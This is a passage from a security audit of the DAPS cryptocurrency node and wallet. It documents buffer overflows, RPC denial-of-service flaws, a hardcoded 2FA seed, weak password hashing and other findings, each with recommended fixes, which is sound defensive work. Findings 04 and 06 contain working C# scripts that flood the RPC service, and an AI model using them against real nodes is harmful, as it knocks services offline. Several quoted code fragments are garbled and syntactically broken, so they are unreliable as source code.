    auto hb=HexStr(b.vchSig,false);

    assert(ha==hb);
}
```

It proves that the resulting signatures are the same:
### 02 - Inconsistent and Reusable Signature Scheme

**Recommendations:**

- It is mandatory to sign all the messages based on their binary content instead of their string representation. This way, the generation of two identical signatures will be avoided.
- Sign the hash of the data or include the hash in the information to be signed.
- Add a prefix specifying the type of message in the data before signing.
## 03 - BoF in Ring Signatures Decoys

<table>
<thead>
<tr>
<th>Category</th>
<th>Active</th>
<th>Risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Buffer Overflow</td>
<td>/src/main.cpp</td>
<td>Critical</td>
</tr>
<tr>
<td></td>
<td></td>
<td>CWE-120</td>
</tr>
</tbody>
</table>

### Description:

A Buffer Overflow (BoF), is a common software coding mistake, that an attacker usually exploits to gain access to your system. Buffer overflow allows an attacker to control or crash the process or to modify its internal variables.

A Buffer Overflow occurs when a program or process attempts to write more data to a fixed length block of memory than the buffer is allocated to hold.

In this case, a BoF has been detected during the ring signature verification, since the maximum number of decoy transactions is not considered.

In the `VerifyRingSignatureWithTxFee` function, the maximum size of TX inputs is verified, but not the number of decoys existing in the transaction. The function iterates over these two values (i and j) to dump them into static arrays.

In case of receiving a transaction with more than 13 decoys it would produce a buffer overflow on lines 429 and 430.

### References:

- [https://github.com/ArcadiaMediaGroup/DAPS/blob/4b7461d2de70296b0f3104c952e1e7fe9d9a0c1/src/main.cpp#L388](https://github.com/ArcadiaMediaGroup/DAPS/blob/4b7461d2de70296b0f3104c952e1e7fe9d9a0c1/src/main.cpp#L388)
- [https://github.com/ArcadiaMediaGroup/DAPS/blob/4b7461d2de70296b0f3104c952e1e7fe9d9a0c1/src/main.cpp#L396-L397](https://github.com/ArcadiaMediaGroup/DAPS/blob/4b7461d2de70296b0f3104c952e1e7fe9d9a0c1/src/main.cpp#L396-L397)
- [https://github.com/ArcadiaMediaGroup/DAPS/blob/4b7461d2de70296b0f3104c952e1e7fe9d9a0c1/src/main.cpp#L429-L430](https://github.com/ArcadiaMediaGroup/DAPS/blob/4b7461d2de70296b0f3104c952e1e7fe9d9a0c1/src/main.cpp#L429-L430)

The exploitation of this Buffer Overflow might result in a Remote Code Execution (RCE) or at least in a denial of service.
03 - BoF in Ring Signatures Decoys

bool VerifyRingSignatureWithTxFee(const CTransaction& tx)
{
    if (tx.vin.size() <= 30) return false;

    #pragma warning(push)
    #pragma warning(disable:4355)
    const size_t MAX_VIN = 32;
    const size_t MAX_DECOS = 13; // padding 1 for safety reasons
    const size_t MAX_VOUT = 5;
    #pragma warning(pop)

    unsigned char allInPubKeys[MAX_VIN + 1][MAX_DECOS + 1][33];
    unsigned char allKeyImages[MAX_VIN + 1][33];
    unsigned char allInCommitments[MAX_VIN][MAX_DECOS + 1][33];
    unsigned char allOutCommitments[MAX_VOUT][33];

    secp256k1_context2 *both = GetContext();

    // generating LI and RI at PI
    for (size_t j = 0; j < tx.vin.size(); j++) {
        memcpy(allKeyImages[j], tx.vin[j].keyImage.begin(), 32);
    }

    // extract all public keys
    for (size_t i = 0; i < tx.vin.size(); i++) {
        std::vector<COutPoint> decoysForIn;
        decoysForIn.push_back(tx.vin[i].prevout);
        for (size_t j = 0; j < tx.vin[i].decos.size(); j++) {
            decoysForIn.push_back(tx.vin[i].decos[j]);
        }
        for (size_t j = 0; j < tx.vin[i].decos.size(); j++) {
            CTransaction txPrev;
            uint256 hashBlock;
            if (!GetTransaction(decoysForIn[j].hash, txPrev, hashBlock))
                return false;
            COutPoint extractedPub;
            if (!ExtractPubKey(txPrev.vout[decoysForIn[j].n].scriptPubKey, extractedPub))
                return false;
            memcpy(allInPubKeys[1][j], extractedPub.begin(), 33);
            memcpy(allInCommitments[1][j], &txPrev.vout[decoysForIn[j].n].commitment[0], 33);
        }
    }

    Code reference:
    https://github.com/ArcadiaMediaGroup/DAPS/blob/3db563b4b8dad02e46768ff1f7355a784171c813/src/main.cpp#L388

This function is called during the validations when a transaction is included in the Memory Pool (AcceptToMemoryPool), allowing the chance of being exploited.
03 - BoF in Ring Signatures Decoys

An attacker could replicate the P2P protocol and send specially crafted transactions to a specific node that will exploit this vulnerability when the victim includes them in the Memory Pool.

While running a proof of concept (PoC), the following SIGSEGV exception was observed:

Backtrace:

Although the remote code execution could not be confirmed, it is possible to corrupt adjacent local variables, which depending on the compiler could have different impacts.

Recommendations:

- Avoid standard library functions that are not bounds-checked, such as `gets`, `scanf` and `strcpy`.
- In addition, it is recommended as a secure development practice, to include periodic tests in development lifecycle in order to detect and fix buffer overflows.
- It is mandatory to verify that the size is as expected, which prevents buffer overflow by automatically verifying that the data written in a buffer is within the acceptable limits.
<table>
<thead>
<tr>
<th>Category</th>
<th>Active</th>
<th>Risk</th>
<th>CWE</th>
</tr>
</thead>
<tbody>
<tr>
<td>Denial of Service</td>
<td>/src/rpcprotocol.cpp</td>
<td>High</td>
<td>400</td>
</tr>
</tbody>
</table>

Description:

Denial of service (DoS) attacks typically flood servers, systems or networks with traffic in order to overwhelm the victim resources and make it difficult or impossible for legitimate users to use them.

The RPC service does not control the number of headers sent by the client, so it is possible to carry out a complete denial of the service by sending unlimited HTTP headers.

The vulnerability resides in the `ReadHTTPHeaders` function of the file `rpcprotocol.cpp:188` where it can be seen that neither the received size nor the number of headers already processed are checked. It should be noted that although the server is authenticated, the vulnerability is located before the authentication process, so it can be exploited without knowing RPC credentials. This highly increases the risk of exploitability.

```cpp
int ReadHTTPHeaders(std::basic_istream<char>& stream, map<string, string>& mapHeadersRet)
{
    int nLen = 0;
    while (true) {  // 1
        string str;
        std::getline(stream, str);
        if (str.empty() || str == "\n")
            break;
        string::size_type nColon = str.find(":");  // 2
        if (nColon != string::npos) {
            string strHeader = str.substr(0, nColon);
            boost::trim(strHeader);
            boost::to_lower(strHeader);
            string strValue = str.substr(nColon + 1);
            boost::trim(strValue);
            mapHeadersRet[strHeader] = strValue;
            if (strHeader == "content-length")
                nLen = atol(strValue.c_str());
        }
    }
    return nLen;
}
```

Code reference:

https://github.com/ArcadiaMediaGroup/DAPS/blob/4ba99738198cda85c6c96822832d5e3c942f877/src/rpcprotocol.cpp#L203
04 - Denial of Service via Infinite HTTP Headers

The risk of this vulnerability has been reduced from critical to high, since it requires a whitelisted IP address.

**Exploit Code:**

```csharp
public void DOS_ByHeader(string ip, int port)
{
    var host = new IPEndPoint(IPAddress.Parse(ip), port);
    var header = "POST / HTTP/1.1\r\nHost: {host.ToString()}\r\n";

    var client = new TcpClient();
    client.Connect(host);
    var stream = client.GetStream();

    // Write Header
    var rawHeader = Encoding.ASCII.GetBytes(header);
    stream.Write(rawHeader, 0, rawHeader.Length);

    // Write dummy data 1mb per header
    var counter = 0;
    var data = ".".ToString().PadLeft(1024 * 1024, 'A');
    var bytes = 0L;

    while (client.Connected)
    {
        var send = Encoding.ASCII.GetBytes("h{counter}:{data}\r\n");
        stream.Write(send, 0, send.Length);
        stream.Flush();
        counter++;
        bytes += send.Length;

        Debug.WriteLine("TotalSent: {(bytes / (1024.0 * 1024.0)).ToString("0.00")} mb");
    }
}
```

**Recommendations:**

- Implement limits when receiving any RPC entry: the size of bytes read, and the number of headers processed.
- To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
## 05 - Denial of Service via Read timeout

<table>
<thead>
<tr>
<th>Category</th>
<th>Active</th>
<th>Risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Denial of Service</td>
<td>/src/rpcprotocol.cpp</td>
<td>High (CWE-400)</td>
</tr>
</tbody>
</table>

### Description:

Denial of service (DoS) attacks typically flood servers, systems or networks with traffic in order to overwhelm the victim's resources and make it difficult or impossible for legitimate users to use them.

It has been detected that even though the maximum size of a POST request to send is 0x00200000 bytes, it cannot be verified that it is sent within the estimated time. This means a malicious client could send the maximum size minus one byte and then stop sending more information without closing the connection. The server will stay allocated with 30Mb in memory waiting to receive more. If we repeat this process with more threads or computers, we could deny the service and leave the RPC service or even letting the node inoperative.

The vulnerability resides in the file `rpcprotocol.cpp:226` in function `ReadHTTPMessage`.

```c
int ReadHTTPMessage(std::basic_istream<char>& stream, map<string, string>& mapHeadersRet,
{
    mapHeadersRet.clear();
    strMessageRet = "";

    // Read header
    int nLen = ReadHTTPHeader(stream, mapHeadersRet);
    if (nLen < 0 || (size_t)nLen > max_size)
        return HTTP_INTERNAL_SERVER_ERROR;

    // Read message
    if (nLen > 0) {
        vector<char> vch;
        size_t ptr = 0;
        while (ptr < (size_t)nLen) {
            size_t bytes_to_read = std::min((size_t)nLen - ptr, POST_READ_SIZE);
            vch.resize(ptr + bytes_to_read);
            stream.read(&vch[ptr], bytes_to_read);
            if (!stream) // Connection lost while reading
                return HTTP_INTERNAL_SERVER_ERROR;
            ptr += bytes_to_read;
        }
        strMessageRet = string(vch.begin(), vch.end());
    }
```

Code reference:
[https://github.com/ArcadiaMediaGroup/DAPS/blob/4ba99738198cdba85c6c96822832d5e3c942f877/src/rpcprotocol.cpp#L226](https://github.com/ArcadiaMediaGroup/DAPS/blob/4ba99738198cdba85c6c96822832d5e3c942f877/src/rpcprotocol.cpp#L226)
### 05 - Denial of Service via Read timeout

The risk of this vulnerability has been reduced from critical to high, since it requires a whitelisted IP.

**Recommendations:**

- Implement efficient time connections and reading streams. It is necessary to have a timeout to disconnect clients that do not send information or send it very slowly.
- To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
06 - Denial of Service via client request input

<table>
<thead>
<tr>
<th>Category</th>
<th>Active</th>
<th>Risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Denial of Service</td>
<td>/src/rpcprotocol.cpp</td>
<td>High</td>
</tr>
</tbody>
</table>

**Description:**

As we have seen in previous vulnerabilities, denial of service (DoS) attacks typically flood servers, systems or networks with traffic in order to overwhelm the victim's resources and make it difficult or impossible for legitimate users to use them.

During the negotiation of the HTTP protocol, the size read in the first communication by the client is not checked, so it is possible to send a request with a lot of data without a line break and the server will consume many resources while trying to process this request, letting the node inoperative.

The vulnerability resides in the `ReadHTTPStatus` function of the file `src/rpcprotocol.cpp:173`, when reading the status, the first line is parsed without any limit or restriction.

```cpp
int ReadHTTPStatus(std::basic_istream<char>& stream, int& proto)
{
    string str;
    1 getline(stream, str);
    vector<string> vWords;
    2 boost::split(vWords, str, boost::is_any_of(" "));
    if (vWords.size() < 2)
        return HTTP_INTERNAL_SERVER_ERROR;
    proto = 0;
    const char* ver = strstr(str.c_str(), "HTTP/1.");
    if (ver != NULL)
        proto = atoi(ver + 7);
    return atoi(vWords[1].c_str());
}
```

Code reference:
https://github.com/ArcadiaMediaGroup/DAPS/blob/4ba99738198cda85c6c96822832d5e3c942f877/src/rpcprotocol.cpp#L176

According to [http://www.cplusplus.com/reference/string/string/max_size/](http://www.cplusplus.com/reference/string/string/max_size/) the maximum size of a string is 4294967291. This size is enough to deny the node service.
06 - Denial of Service via client request input

The risk of this vulnerability has been reduced from critical to high, since it requires a whitelisted IP.

**Exploit Code**

```csharp
public void DOS_ByRequestLine(string ip, int port)
{
    var host = new IPEndPoint(IPAddress.Parse(ip), port);
    var header = "POST ";
    var bytes = 0L;
    Parallel.For(1, 10, new ParallelOptions() { MaxDegreeOfParallelism = 10 }, (i) =>
    {
        var client = new TcpClient();
        client.Connect(host);
        var stream = client.GetStream();

        // Write Header
        var rawHeader = Encoding.ASCII.GetBytes(header);
        stream.Write(rawHeader, 0, rawHeader.Length);

        // Write dummy data 1mb per chunk
        var counter = 0;
        var data = "".ToString().PadLeft(1024 * 1024 * 4, 'A').Replace("A", "A ");

        while (client.Connected)
        {
            var send = Encoding.ASCII.GetBytes(data);
            stream.Write(send, 0, send.Length);
            stream.Flush();
            counter++;
            bytes += send.Length;

            Debug.WriteLine("TotalSent: {(bytes / (1024.0 * 1024.0)).ToString("0.00")} mb");
        }
    });
}
```

**Recommendations:**

- Set a maximum value for header reading and protocol management.
- Implement response timeouts in order to kill the reading thread in case exceeds limit time.
- To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
07 - Minimum Ring Size Renders Transactions Vulnerable to DeAnonymization Attacks

<table>
<thead>
<tr>
<th>Category</th>
<th>Active</th>
<th>Risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Insufficient Entropy in PRNG</td>
<td>/src/wallet.cpp</td>
<td>High CWE-338</td>
</tr>
</tbody>
</table>

Description:

To generate Stealth Transactions DAPS specifies that they should be between a range of 6 and 12 inclusively. The way a ring size is chosen is through a non-CSPRNG. Some issues that reduce anonymity arise from these specifications:

1. If the RNG used to compute the ring size is compromised, or predictable (ring size known to the attacker), a user's transaction could be traced back to them using the ring size they are using.

2. Allowing random ring sizes with a non-CSPRNG reduces the total entropy of the system. This negatively affects plausible deniability.

3. Some attackers could poison the network with lots of UTXO with compromised key images. Using this kind of attack, they could trace the flow of "marked" coins throughout the network.

Below is a small fragment extracted from the whitepaper of daps:

Whereas Monero has implemented a set ring size - currently 11 - DAPS will have a randomly generated ring size per transaction within a given range (6-12). This allows the network to be even more secure by ensuring that the user does not always select a specific size thus creating traceability through habit.

DAPS whitepaper (page 9)

Reviewing the function `CreateTransactionBulletProof()`, we observe how the randomness of the `ringSize` is established.
07 - Minimum Ring Size Renders Transactions Vulnerable to DeAnonymization Attacks

bool CWallet::CreateTransactionBulletProof(const CKey& txPrivKey, const CScript& recipientPubKey, const std::vector<std::pair<CScript, CWalletTx&>>& inputs, CReserveKey& reserveKey, CAmount& nFeePerK, const std::string& strFailReason, const CoinControl* coinControl, AvailableCoinsType coin_type, bool usetxid, CAmount nFeePay, int ringSize, bool ownself)
{
    if (usetxid && nFeePay < CENT) nFeePay = CENT;

    //randomize ring size
    ringSize = 8 + rand() % 8;

    //Currently we only allow transaction with one or two recipients
    if (vecsend.size() > 2) {
        strFailReason = "Currently the number of supported recipients must be 1";
        return false;
    }
}

Code reference:
https://github.com/ArcadiaMediaGroup/DAPS/blob/6d5e512aced6e1bda356b863fe8d1ebcf42211b2/src/wallet.cpp#L2572

Recommendations:

The following could be used as mitigation against these issues:

- Enforcing a single Ring size for all transactions [3]. This improves coherence between transactions and anonymity in general.
- Using the largest Ring size possible. An attached document demonstrates how much of an impact increasing the ring size could have when defending against attackers attempting to poison the network.
## 08 - CSRF in Vendor Confirmation

<table>
<thead>
<tr>
<th>Category</th>
<th>Active</th>
<th>Risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Client-Side Attack</td>
<td>/src/qt/paymentserver.cpp</td>
<td>High</td>
</tr>
</tbody>
</table>

### CWE-352

### Description:

The main purpose of Cross-Site Request Forgery [4] attacks is to force a user to execute unwanted actions in the application. By using techniques such as social engineering, or exploiting existing vulnerabilities, the attacker could force users of the application to silently perform actions in the context of their user.

It has been detected that it is possible to force wallets to send HTTP requests to arbitrary locations, both to the local network and internet. This is a serious threat to user privacy, since it can possibly leak their IP address and the fact that they are using DAPS.

The exploitation vector depends on the users' set-up. If a protocol handler for the dapscoin:// URI schema is installed into their browser, a simple web frame or link inserted into a website would allow an attacker to leak users IP. If a protocol handler is not installed, the user would have to manually open the payment URI.

Due to the importance of privacy in blockchain environments and with this being a main feature of DAPS chain, this vulnerability has been classified as high risk.

The vulnerable code resides in

https://github.com/ArcadiaMediaGroup/DAPS/blob/50dd9e1e83c5f5d81a7e5d40df75989cc10ff6b/src/qt/paymentserver.cpp#L368
If the URI starts with the string "dapscoin:", and is a valid URI with a query parameter called "r", the value of that query parameter is URL-decoded and then used to initialize a QUrl object. If it is a valid URL, it is passed to the function fetchRequest, which will perform a HTTP request.

```cpp
void PaymentServer::handleURIOFile(const QString &s)
{
    if (savedURIs) {
        savedPaymentRequests.append(s);
        return;
    }

    if (s.startsWith("dapscoin:/", Qt::CaseInsensitive)) // dapscoin: URI
    {
        QUrl url(s);
        if (QT_VERSION >= 0x050000)
            QUrlQuery uri(url);
        else
            QUrlQuery uri((QString &));

        if (!uri.hasQueryItem("r")) // payment request URI
        {
            auto temp = uri.queryItemValue("r");
            auto decoded = QUrl::fromPercentEncoding(temp);

            QUrl fetchUrl(decoded); // QUrl(String, QUrl::StrictMode)

            if (!fetchUrl isValid)
                qWarning("PaymentServer::handleURIOFile : fetchRequest(" << fetchUrl.toString();
            else
                emit message(tr("URI handling"),
                            tr("Payment request fetch URL is invalid: %1"), &fetchUrl.toString());
                CClientInterface::ICON_WARNING);
        }

        return;
    }

    void PaymentServer::fetchRequest(const QUrl &url)
    {
        QNetworkRequest netRequest;
        netRequest.setAttribute(QNetworkRequest::User, BIP70_MESSAGE_PAYMENTREQUEST);
        netRequest.setUrl(url);
        netRequest.setRawHeader("User-Agent", CLIENT_NAME.c_str());
        netRequest.setRawHeader("Accept", BIP71_MIMETYPE_PAYMENTREQUEST);
        netManager->get(netRequest);
    }
```

Code reference:
https://github.com/ArcadiaMediaGroup/DAPS/blob/50dd9e1e83c5f5d81a7e5d40ff75989cc10ff6b/src/qt/paymentserver.cpp#L559-L567
08 - CSRF in Vendor Confirmation

Please note that at no point the user is allowed to check if they want to actually perform that HTTP request.

As a proof of concept, a local HTTP server was started up in the testing VM. A `dapscoin://` URI containing an "r" parameter pointing to that server was opened within the QT Wallet. The following screenshot shows that the request was received by the server.

![Screenshot showing request reception](image)

**Recommendations:**

- We recommend displaying a confirm dialog clearly showing the target URL before proceeding to fetch its contents.
- Remove this functionality together with the parameter "r".
Description:

A Buffer Overflow (BoF), is a common software coding mistake, that an attacker exploits usually to gain access to your system or write out of limits. A buffer overflow occurs when a program or process attempts to write more data to a fixed length block of memory than the buffer is allocated to hold.

A potential buffer overflow has been detected within the `CWallet::generateBulletProofAggregate` method.

```cpp
bool CWallet::generateBulletProofAggregate(CTransaction& tx)
{
    unsigned char proof[2000];
    size_t len = 2000;
    const size_t MAX_VOUT = 5;
    unsigned char nonce[32];
    GetRandBytes(nonce, 32);
    unsigned char blinds[MAX_VOUT][32];
    memset(blinds, 0, tx.vout.size() * 32);
    uint8_t values[MAX_VOUT];
    size_t i = 0;
    const unsigned char *blind_ptr[MAX_VOUT];
    if (tx.vout.size() > MAX_VOUT) return false;
    for (i = 0; i < tx.vout.size(); i++) {
        memoryAblinds[i][0], tx.vout[i].maskValue.inMemoryRawBlind.begin(), 32);
        blind_ptr[i] = blinds[i];
        values[i] = tx.vout[i].nValue;
    }
    int ret = secp256k1_bulletproof_rangeproof_prove(GetContext(), GetScratch(), Get6e
    std::copy(proof, proof + len, std::back_inserter(tx.bulletproofs));
    return ret;
}
```

Checking the size of `tx.vout` vector is done after reserving that memory space on the stack and initializing it to zero (memset). However, that size is used to zero-out a local stack buffer so if `tx.vout.size() > MAX_VOUT (5)`, an arbitrary number of bytes in the stack will be set to zero.

This could lead to a remote denial of service or unexpected behaviors depending on the memory layout.
09 - BoF in CWallet::generateBulletProofAggregate

**Recommendations:**

- Avoid standard library functions that are not bounds-checked, such as `gets`, `scanf` and `strcpy`.
- In addition, it is recommended as a secure development practice, to include periodic tests in development lifecycle in order to detect and fix buffer overflows.
- It is mandatory to verify that the size is as expected, which prevents buffer overflow by automatically verifying that the data written in a buffer is within acceptable limits.
## 10 - Insecure Two-Factor Authentication (2FA) Mechanism

<table>
<thead>
<tr>
<th>Category</th>
<th>Active</th>
<th>Risk</th>
<th>CWE</th>
</tr>
</thead>
<tbody>
<tr>
<td>Insecure 2FA</td>
<td>/src/qt/2faqrdialog.cpp</td>
<td>High</td>
<td>287</td>
</tr>
</tbody>
</table>

**Description:**

The **2-Step verification** (known as two-factor authentication or 2FA) acts as an extra layer of security for your wallet. Implementing 2FA incorporates logical and physical security [5], filling gaps in both security domains and reducing the risk. When logging, both the wallet password plus a one-time passcode (OTP) generated by your chosen method of 2FA (Google Auth, SMS Codes, etc.) will be required.

During the security audit It has been detected that due to a design and implementation failure, the seed that is used to generate the two-factor authentication in the QT Wallet is hardcoded. This behavior will always generate the same secret; therefore, users will always share the same insecure 2FA code.

In the following evidence you can see the flow that the application follows to create the **secret** value.

```cpp
void TwoFAQRDialog::update()
{
  CWalletDB walletdb(pwalletMain->strWalletFile);
  CAccount account;
  walletdb.ReadAccount("", account);
  CBitcoinAddress address(account.vchPubKey.GetID());
  std::string addr = "";
  for (char c : address.ToString())
    if ((std::isdigit(c)) || addr += c;
  QString periodSetting = settings.value("2FAPeriod").toString();
  QString uri;
  uri.printf("http://papi.io/2fa/%s/secret-%s&issuer=damncoin&algorithm=SHA1&digits=6&period="% , addr.c_str());
  uri += periodSetting;
  uri += "b1URI->setText(";
}
```

First, the **ReadAccount** function is called, passing the value " " as argument.
10 - Insecure Two-Factor Authentication (2FA) Mechanism

Code reference:
https://github.com/ArcadiaMediaGroup/DAPS/blob/9f1096e3d6c994f4fff89b9d799f086d03169664/src/qt/2faqrdialog.cpp#L54-L68

As seen in the `ReadAccount` function, all the values used are hardcoded:

- "acc" string.
- `strAccount` (which always is " ").

```cpp
bool CWalletDB::ReadAccount(const string& strAccount, CAccount& account)
{
    account.SetNull();
    return Read(make_pair(string("acc"), strAccount), account);
}
```

Code reference:
https://github.com/ArcadiaMediaGroup/DAPS/blob/9f1096e3d6c994f4fff89b9d799f086d03169664/src/walletdb.cpp#L312-L316

Recommendations:

- Generate a unique and dynamic secret for each user.
- Use well vetted pseudo-random seed generating algorithms with adequate length seeds.
- Finish implementing the 2FA mechanism since it has been detected that the code is unfinished.
11 - Master Password is Not Hashed Using a Standard Password Hashing Scheme

<table>
<thead>
<tr>
<th>Category</th>
<th>Active</th>
<th>Risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Lack of verifications</td>
<td>/src/crypter.cpp</td>
<td>Medium</td>
</tr>
</tbody>
</table>

**Description:**

It has been observed that DAPS uses SHA-512 in order to hash a wallet's master password.

While SHA-512 satisfies most of the requirements for a great general-purpose hashing algorithm, it lacks some key properties which render using it to hash passwords a vulnerability. In the current model, the algorithm does not include any kind of protection against brute force attacks so, an attacker could exploit the aforementioned weakness if the encrypted Wallet Database is compromised; Cracking the Master Password, which encrypts the entire database, would grant an attacker access to all of the user’s assets on their wallet and their transaction history, as the latter's keys would be compromised.

In the following code snippet, it is possible to see the use of SHA-512.

```cpp
bool Crypter::setKeyFromPassphrase(const std::string &strKeyData, const std::vector<unsigned char> &cSalt, const unsigned int nRounds, 
{ 
    if (nRounds < 1 || cSalt.size() != WALLET_CRYPTO_SALT_SIZE) 
        return false;

    int i = 0,
    if (nRoundsMethod == 0) 
        i = EVP_BytesToKey(EVP_oids_16, cSalt, (unsigned char *)&cKeyData[0], strKeyData.size(), nRounds, cKey, cIV);

    if (i != (int)WALLET_CRYPTO_KEY_SIZE) 
    { 
        OPENSSL_cleanse(cKey, sizeof(cKey));
        OPENSSL_cleanse(cIV, sizeof(cIV));
        return false;
    }

    #keySet = true;
    return true;
}
```

**Code reference:**

https://github.com/ArcadiaMediaGroup/DAPS/blob/61d51a09b1ce82c7f9f209887d6ab0ba9d5bc2b5/src/crypter.cpp#L17-L35

**Recommendations:**

- Among other properties, a proper password hashing algorithm must have defenses against lookup table/TMTO attacks, CPU-optimized 'crackers' and hardware-optimized 'crackers'[6]. It is recommended to employ Argon2 as a password hashing algorithm.

- Argon2 is the winner of the Password Hashing Competition [7], and satisfies the properties listed. Employing Argon2 would significantly reduce an attacker's chances of decrypting the user's wallet calculating Argon2 hashes which takes much more time and consumes more resources than calculating a SHA-512 hash.
<table>
<thead>
<tr>
<th>Category</th>
<th>Active</th>
<th>Risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Lack of verifications</td>
<td>/src/qt/walletmodel.cpp</td>
<td>Medium</td>
</tr>
</tbody>
</table>

**Description:**

It has been found that the DAPS QT Wallet policy for encryption passphrase does not fulfill password strength and complexity recommendations.

As mentioned in the "Master Password is Not Hashed Using a Standard Password Hashing Scheme" vulnerability, a master password grants full access to its correspondent wallet's assets. Employing a secure password hashing scheme should not be considered as a silver bullet against problems associated with passwords in general.

A secp256k1 private key provides a keyspace of $2^{128}$ (the current standard). In other words, there are $2^{128}$ distinct valid values of private keys that could secure a wallet, and with the proper conditions, a user has an equal probability of owning any of these keys.

This provides an objectively strong layer of defense against attackers, as their best try would be to attempt every single possibility. This is not the case for passwords, and since a wallet's password grants access to the private key, the latter's security would be reduced to that of the password.

Here it is important to understand that passwords are generally chosen by people, their keyspace and entropy are much lower and they often include predictable elements related to the people who pick them (pet names, date of birth, hobbies, etc.) all of which result in relatively small keyspaces for an attacker to work with.

One of the specified restrictions which is located in the source code is to introduce a passphrase of 10-character length ("Enter the new passphrase to the wallet. Please use a passphrase of ten or more random characters"). However, this condition should strictly be required, not only as an option.
This restriction is not applied as it is possible to encrypt the wallet with passphrase: "test".

For this reason, it is easier for an attacker to obtain or guess a wallet's encryption credentials through brute force or dictionary attacks and compromise wallet accounts.

Additionally, when using the passphrase change functionality, it is not verified that the old password is different from the new password. This check should be done to avoid the reuse of credentials.
12 - Passphrase encryption complexity not enforced

case ChangePass:
    if (newpass1 == newpass2) {
        if (model->changePassphrase(oldpass, newpass1)) {
            QMessageBox::information(this, tr("Wallet encrypted"),
            tr("Wallet passphrase was successfully changed.")));
            QDialog::accept(); // Success
        } else {
            QMessageBox::critical(this, tr("Wallet encryption failed"),
            tr("The passphrase entered for the wallet decryption was incorrect.")));
        } else {
            QMessageBox::critical(this, tr("Wallet encryption failed"),
            tr("The supplied passphrases do not match.")));
            break;
        }
    }

bool WalletModel::changePassphrase(const SecureString& oldPass, const SecureString& newPass)
{
    bool retval;
    { // LOCK(wallet->cs_wallet);
        wallet->Lock(); // Make sure wallet is locked before attempting pass change
        retval = wallet->ChangeWalletPassphrase(oldPass, newPass);
    }
    return retval;
}
12 - Passphrase encryption complexity not enforced

Recommendations:

- Passwords complexity requirements should be enforced when passwords are changed or created, using a mix of upper-case letters, symbols and numbers.

- It is recommended to enforce the usage of a password strength measurement library, such as `zxcvbn`, in addition to "Multi-Factor Authentication". That way, in order to attempt a login, someone would need the right password and authentication token, something that the user can access out-of-band simultaneously [9].
  - [https://github.com/rianhunter/zxcvbn-cpp](https://github.com/rianhunter/zxcvbn-cpp)
  - [https://github.com/tsyrogit/zxcvbn-c](https://github.com/tsyrogit/zxcvbn-c)
13 - Inconsistent GetP2SHSigOpCount method

<table>
<thead>
<tr>
<th>Category</th>
<th>Active</th>
<th>Risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Algorithm poorly implemented</td>
<td>/src/main.cpp</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Medium</td>
</tr>
<tr>
<td></td>
<td></td>
<td>CWE-474</td>
</tr>
</tbody>
</table>

Description:

It has been detected that the `GetP2SHSigOpCount()` function always returns 0, when it should contain the relevant code to go through `tx.vin` to add the `sigOps` and return the number acquired.

```c
unsigned int GetP2SHSigOpCount(const CTransaction &tx, const CCoinViewCache &inputs) {
    if (tx.IsCoinBase())
        return 0;

    return 0;
}
```

Code reference:

https://github.com/ArcadiaMediaGroup/DAPS/blob/bd7fbfca8d4d523d90a55ce670fe64ff03573162/src/main.cpp#L1215

This function is used in the following code sections:

```c
// Check for non-standard pay-to-script-hash in inputs
if (Params().RequireStandard() && !AreInputsStandard(tx, view))
    return error("AcceptToMemoryPool: nonstandard transaction input");
// Check that the transaction doesn't have an excessive number of
// sigops, making it impossible to mine. Since the coinbase transaction
// itself can contain sigops MAX_TX_SIGOPS is less then
// MAX_BLOCK_SIGOPS: we still consider this an invalid rather than
// merely non-standard transaction.
{
    unsigned int nSigOps = GetLegacySigOpCount(tx);
    unsigned int nMaxSigOps = MAX_TX_SIGOPS_CURRENT;
    nSigOps += GetP2SHSigOpCount(tx, view);
    if (nSigOps > nMaxSigOps)
        return state.EROS(0,
            error("AcceptToMemoryPool: too many sigops Ns, k1 > kN",
                hash.ToString(), nSigOps, nMaxSigOps),
            REJECT_NONSTANDARD, "bad-txns-too-many-sigops");
```

Code reference:

https://github.com/ArcadiaMediaGroup/DAPS/blob/bd7fbfca8d4d523d90a55ce670fe64ff03573162/src/main.cpp#L1651
13 - Inconsistent GetP2SHSigOpCount method

// Check that the transaction doesn't have an excessive number of
// sigops, making it impossible to mine. Since the coinbase transaction
// itself can contain sigops MAX_TX_SIGOPS is less than
// MAX_BLOCK_SIGOPS; we still consider this an invalid rather than
// merely non-standard transaction.
unsigned int nSigOps = GetLegacySigOpCount(tx);
unsigned int nMaxSigOps = MAX_TX_SIGOPS_CURRENT;

nSigOps += GetP2SHSigOpCount(tx, view);
if (nSigOps > nMaxSigOps)
    return state.DEE(0,
        error("AcceptableInputs : too many sigops %s, %d > %d",
            hash.ToString(), nSigOps, nMaxSigOps),
        REJECT_NONSTANDARD, "bad-txns-too-many-sigops");

Code reference:
https://github.com/ArcadiaMediaGroup/DAPS/blob/bd7fbca8d4d523d90a55ce670fe64ff03573162/src/main.cpp#L1851

Previous code verifies that the sum of $nSigOp$ does not exceed a set maximum, but this always returns 0 even if it actually has many $SigOps$.

**Recommendations:**

- Review the function and logic of the GetP2SHSigOpCount method so that it returns consistent results.
- Remove all unused and commented code as long as it is not going to be used in the near future.
14 - CVE-2013-2292 Excessive Resource Exhaustion

<table>
<thead>
<tr>
<th>Category</th>
<th>Active</th>
<th>Risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Denial of Service</td>
<td>/src/script/script.h</td>
<td>CVE-2013-2292</td>
</tr>
<tr>
<td></td>
<td></td>
<td>CWE-400</td>
</tr>
</tbody>
</table>

**Description:**

It has been observed that the DAPS Coin code is vulnerable to a known Bitcoin vulnerability discovered back in 2013 which produces an excessive resource exhaustion. Resource exhaustion is a simple denial of service condition that happens when the resources required to execute an action are entirely expended, preventing that action from occurring. The most common outcome of resource exhaustion is denial of service.

